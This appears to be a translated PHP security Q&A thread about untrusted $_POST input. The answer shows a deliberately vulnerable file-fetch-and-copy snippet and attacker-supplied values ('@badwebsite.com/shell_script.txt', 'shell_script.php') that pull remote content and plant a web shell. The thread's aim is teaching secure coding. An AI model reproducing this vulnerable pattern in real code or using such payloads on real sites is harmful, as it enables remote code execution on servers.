作者:唐瑄星 | 来源:互联网 | 2023-05-23 10:44
希望这个问题不太具体,所以......
我的问题是,我什么时候才能真正关注我如何处理易受攻击的变量,什么时候不能.例如,使用像......这样的东西显然是不安全的.
echo $_POST['username']; // insecure !!!
在你的模板中.据说$ _GET和$ _SERVER变量也很脆弱.因此,在"使用"它们之前,我必须对它们进行消毒.但在这种情况下,"使用"意味着什么.不安全的是例如输出它们,例如echo
,将它们未经过滤地写入DB或将它们放入任何其他开放的上下文中.另一方面,将它们与其他变量进行比较,例如...
if ($_SESSION['username'] === $_POST['username']) {};
或者将它们嵌入到像......这样的变量中
$file = 'http://www.example.com/users/' . $_POST['username']; // insecure !!! see Tom's answer
然后检查......
if (file_exists($file)) {};
......换句话说,将它们保存在某种封闭的环境中是安全的,不是吗?(在我看来,$ file-example可以被认为是安全方面的边界,但是就这样使用了,我认为没关系?).也许有人也知道开放和封闭的上下文之间的区别不那么明确(我希望它们在我的例子中)以引起人们的注意.
谢谢
1> Tom..:
这取决于你要对该文件做什么.该username
字段可以传递一些内容,指向不在该网站上的文件,如:
$_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];
将解决http://not-the-site-you-want.com/bad_stuff.html
并仍将返回true file_exists($file);
.
让我们尝试一个"真实世界"的例子,说明为什么你不想只注入$_POST
变量然后信任结果.
让我们说我们将从在线资源中检索用户的图片(例如:http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50)并将其存储在本地:
$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
// Now we have the image stored on our local system
copy($image, 'assets/' . $username);
}
用户提供以下信息:
$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';
您现在刚刚将一个shell脚本上传到您的网站,该脚本可在http://www.mywebsite.com/assets/shell_script.php上访问
安全的一半是了解基础知识并加入限制.另一半正在弄清楚某人是如何克服你所实施的限制的.你的代码可能不受SQL注入和XSS的影响,但是你is_admin
在每个页面请求中传递一个标志作为参数并尊重它,然后有人会发现并滥用它.